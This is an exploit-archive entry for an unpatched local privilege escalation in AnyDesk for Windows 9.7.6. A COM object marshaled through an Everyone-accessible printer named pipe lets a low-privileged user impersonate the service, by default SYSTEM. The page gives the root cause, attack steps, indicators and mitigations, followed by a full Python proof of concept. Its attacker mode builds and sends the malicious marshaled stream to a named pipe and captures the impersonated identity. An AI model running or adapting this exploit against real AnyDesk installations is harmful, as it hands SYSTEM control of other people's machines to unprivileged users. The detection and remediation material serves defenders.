PoC Archive PoC Archive
High None assigned as of 2026-07-03 unpatched

AnyDesk Printer Pipe COM Impersonation Local Privilege Escalation

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03
Category
binary
Affected product
AnyDesk for Windows 9.7.6
Affected versions
9.7.6 (release observed 2026-06-15); other nearby versions unconfirmed
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorybinary
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsanydesk, windows, privilege-escalation, com-impersonation, named-pipe, local-service, lpe, ipc
RelatedN/A

Affected Target

FieldValue
Software / SystemAnyDesk for Windows 9.7.6
Versions Affected9.7.6 (release observed 2026-06-15); other nearby versions unconfirmed
Language / PlatformPython 3.10+ with pywin32 (PoC), targets Windows x86 service process
Authentication RequiredLocal-only (requires a low-privileged local Windows account)
Network Access RequiredNo

Summary

AnyDesk’s local printer IPC worker creates a named pipe (\\.\pipe\adprinterpipe) with an ACL that grants access to Everyone, then accepts a message containing attacker-controlled COM marshaling bytes, unmarshals it into an IUnknown, queries for IStream, and invokes IStream::Read on it. Because the AnyDesk process initializes COM security with impersonation level RPC_C_IMP_LEVEL_IMPERSONATE, the attacker-supplied COM object’s callback can impersonate the calling AnyDesk process during that invocation. When AnyDesk is installed as a Windows service (the default, since CreateServiceW is called with a null service account and thus runs as LocalSystem), a low-privileged local user who can connect to the pipe can escalate to the AnyDesk service identity — in the default configuration, NT AUTHORITY\SYSTEM. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

The printer pipe IPC boundary accepts marshaled COM interface data from any local client (the pipe DACL grants GENERIC_ALL to S-1-1-0/Everyone) and unmarshals it via CoUnmarshalInterface, creating a proxy to an attacker-controlled local COM server. Because the process configures CoInitializeSecurity with impersonation level 3 (RPC_C_IMP_LEVEL_IMPERSONATE), any method invoked on that proxy (e.g., IStream::Read) lets the attacker’s COM server impersonate the AnyDesk caller’s token during the callback.

Attack Vector

  1. Low-privileged local attacker connects to \\.\pipe\adprinterpipe, which is reachable due to a permissive Everyone-accessible ACL.
  2. Attacker sends a pipe message containing marshaled COM object bytes; AnyDesk’s FUN_0100e6e0 copies these into an HGLOBAL, wraps it via CreateStreamOnHGlobal, and calls CoUnmarshalInterface.
  3. AnyDesk queries the unmarshaled object for IID_IStream and calls IStream::Read on it, crossing back into attacker-controlled code.
  4. Because COM impersonation is enabled, the attacker’s IStream::Read implementation captures the impersonated AnyDesk caller identity.
  5. If AnyDesk is running as an installed service (default: LocalSystem), the attacker’s callback impersonates NT AUTHORITY\SYSTEM, enabling privilege escalation from that context.

Impact

Local privilege escalation from a low-privileged local user to the AnyDesk service identity, which by default is NT AUTHORITY\SYSTEM when AnyDesk is installed as a Windows service.


Environment / Lab Setup

Target:   Windows host with AnyDesk for Windows 9.7.6 installed as a service
Attacker: Python 3.10+, pywin32 (pip install -r requirements.txt)

Proof of Concept

PoC Script

See poc.py in this folder.

1
python poc.py selftest

Runs a local two-process harness that reproduces the vulnerable COM flow (pipe message, CoUnmarshalInterface, QueryInterface(IStream), IStream::Read) and prints the identity impersonated during the attacker-controlled callback, without touching the real AnyDesk binary. A separate python poc.py analyze <path-to-AnyDesk-runtime.exe> mode performs static marker analysis against an actual AnyDesk runtime PE to confirm the vulnerable code paths are present.


Detection & Indicators of Compromise

Signs of compromise:

  • Non-AnyDesk processes opening handles to \\.\pipe\adprinterpipe
  • AnyDesk service process spawning or impersonating tokens outside of normal printer-redirection activity
  • Unexpected SYSTEM-level actions correlated with local user sessions running AnyDesk client processes

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory from AnyDesk
Interim mitigationRestrict the adprinterpipe DACL to trusted SIDs only; where feasible, disable or restrict AnyDesk’s printer-redirection feature on multi-user or shared hosts until patched

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: anydesk-printer-com-impersonation-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation. The source README notes that a live installed-service VM should be used for final vendor-grade confirmation of the SYSTEM identity in the real service context, indicating validation is not yet fully end-to-end on a production install.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
import argparse
import ctypes
import json
import os
import pathlib
import struct
import subprocess
import sys
import time
import uuid


def utf16le(value):
    return value.encode("utf-16le")


def analyze_binary(path):
    data = pathlib.Path(path).read_bytes()
    markers = {
        "pipe_name_utf16": utf16le(r"\\.\pipe\adprinterpipe") in data,
        "print_default_ascii": b"ad.security.print=true" in data,
        "service_mode_utf16": utf16le(" --service") in data,
        "iid_iunknown": bytes.fromhex("0000000000000000c000000000000046") in data,
        "iid_istream": bytes.fromhex("0c00000000000000c000000000000046") in data,
        "co_unmarshal_import": b"CoUnmarshalInterface" in data,
        "co_initialize_security_import": b"CoInitializeSecurity" in data,
        "create_named_pipe_import": b"CreateNamedPipeW" in data,
        "create_service_import": b"CreateServiceW" in data,
    }
    result = {
        "path": str(path),
        "size": len(data),
        "markers": markers,
        "matched": sum(1 for value in markers.values() if value),
        "total": len(markers),
    }
    print(json.dumps(result, indent=2))
    return 0 if result["matched"] >= 7 else 1


def impersonated_user():
    import win32api
    import win32con
    import win32security

    ole32 = ctypes.OleDLL("ole32")
    hr = ole32.CoImpersonateClient()
    if hr < 0:
        return f"CoImpersonateClient failed: 0x{ctypes.c_ulong(hr).value:08x}"
    try:
        token = win32security.OpenThreadToken(win32api.GetCurrentThread(), win32con.TOKEN_QUERY, True)
        user_sid, _ = win32security.GetTokenInformation(token, win32security.TokenUser)
        name, domain, _ = win32security.LookupAccountSid(None, user_sid)
        return f"{domain}\\{name}"
    finally:
        ole32.CoRevertToSelf()


class ProbeStream:
    _com_interfaces_ = []
    _public_methods_ = [
        "Read",
        "Write",
        "Seek",
        "SetSize",
        "CopyTo",
        "Commit",
        "Revert",
        "LockRegion",
        "UnlockRegion",
        "Stat",
        "Clone",
    ]

    def Read(self, count):
        print(f"PROBE_IMPERSONATED={impersonated_user()}", flush=True)
        return b""

    def Write(self, data):
        return len(data)

    def Seek(self, move, origin):
        return 0

    def SetSize(self, size):
        return None

    def CopyTo(self, other, count):
        return (0, 0)

    def Commit(self, flags):
        return None

    def Revert(self):
        return None

    def LockRegion(self, offset, count, lock_type):
        return None

    def UnlockRegion(self, offset, count, lock_type):
        return None

    def Stat(self, flags):
        return None

    def Clone(self):
        return None


def marshal_probe_stream():
    import pythoncom
    import win32com.server.util

    pythoncom.CoInitialize()
    ProbeStream._com_interfaces_ = [pythoncom.IID_IStream]
    obj = win32com.server.util.wrap(ProbeStream(), pythoncom.IID_IStream)
    stream = pythoncom.CreateStreamOnHGlobal()
    pythoncom.CoMarshalInterface(stream, pythoncom.IID_IUnknown, obj, pythoncom.MSHCTX_LOCAL, pythoncom.MSHLFLAGS_NORMAL)
    size = stream.Seek(0, 1)
    stream.Seek(0, 0)
    return stream.Read(size), obj


def attacker(pipe_name):
    import pythoncom
    import win32con
    import win32file

    payload, keepalive = marshal_probe_stream()
    message = struct.pack("<IIB", 1, len(payload), 1) + payload
    handle = win32file.CreateFile(pipe_name, win32con.GENERIC_READ | win32con.GENERIC_WRITE, 0, None, win32con.OPEN_EXISTING, 0, None)
    try:
        win32file.WriteFile(handle, message)
        deadline = time.time() + 8
        while time.time() < deadline:
            pythoncom.PumpWaitingMessages()
            time.sleep(0.02)
    finally:
        keepalive = None
        win32file.CloseHandle(handle)


def victim(pipe_name):
    import pywintypes
    import pythoncom
    import win32file
    import win32pipe

    pythoncom.CoInitialize()
    pythoncom.CoInitializeSecurity(None, None, None, 0, 3, None, 0, None)
    pipe = win32pipe.CreateNamedPipe(pipe_name, 3, 0, 1, 0x1000, 0x1000, 15000, None)
    try:
        try:
            win32pipe.ConnectNamedPipe(pipe, None)
        except pywintypes.error as exc:
            if exc.winerror != 535:
                raise
        _, data = win32file.ReadFile(pipe, 0x1000)
        command, length = struct.unpack("<II", data[:8])
        payload = data[9 : 9 + length]
        if command != 1:
            raise RuntimeError(f"unexpected command {command}")
        stream = pythoncom.CreateStreamOnHGlobal()
        stream.Write(payload)
        stream.Seek(0, 0)
        unknown = pythoncom.CoUnmarshalInterface(stream, pythoncom.IID_IUnknown)
        istream = unknown.QueryInterface(pythoncom.IID_IStream)
        istream.Read(32)
        print("VICTIM_READ_COMPLETE", flush=True)
    finally:
        win32file.CloseHandle(pipe)


def selftest():
    if os.name != "nt":
        print(json.dumps({"error": "selftest requires Windows"}, indent=2))
        return 2
    pipe_name = rf"\\.\pipe\ad_printer_com_probe_{uuid.uuid4().hex}"
    script = os.path.abspath(__file__)
    victim_proc = subprocess.Popen([sys.executable, script, "victim", pipe_name], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
    time.sleep(0.8)
    attacker_proc = subprocess.Popen([sys.executable, script, "attacker", pipe_name], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
    attacker_out, _ = attacker_proc.communicate(timeout=12)
    victim_out, _ = victim_proc.communicate(timeout=12)
    print("[attacker]")
    print(attacker_out.strip())
    print("[victim]")
    print(victim_out.strip())
    return attacker_proc.returncode or victim_proc.returncode


def main():
    parser = argparse.ArgumentParser()
    sub = parser.add_subparsers(dest="mode", required=True)
    sub.add_parser("selftest")
    analyze = sub.add_parser("analyze")
    analyze.add_argument("binary")
    victim_parser = sub.add_parser("victim")
    victim_parser.add_argument("pipe")
    attacker_parser = sub.add_parser("attacker")
    attacker_parser.add_argument("pipe")
    args = parser.parse_args()
    if args.mode == "selftest":
        raise SystemExit(selftest())
    if args.mode == "analyze":
        raise SystemExit(analyze_binary(args.binary))
    if args.mode == "victim":
        victim(args.pipe)
        return
    if args.mode == "attacker":
        attacker(args.pipe)
        return


if __name__ == "__main__":
    main()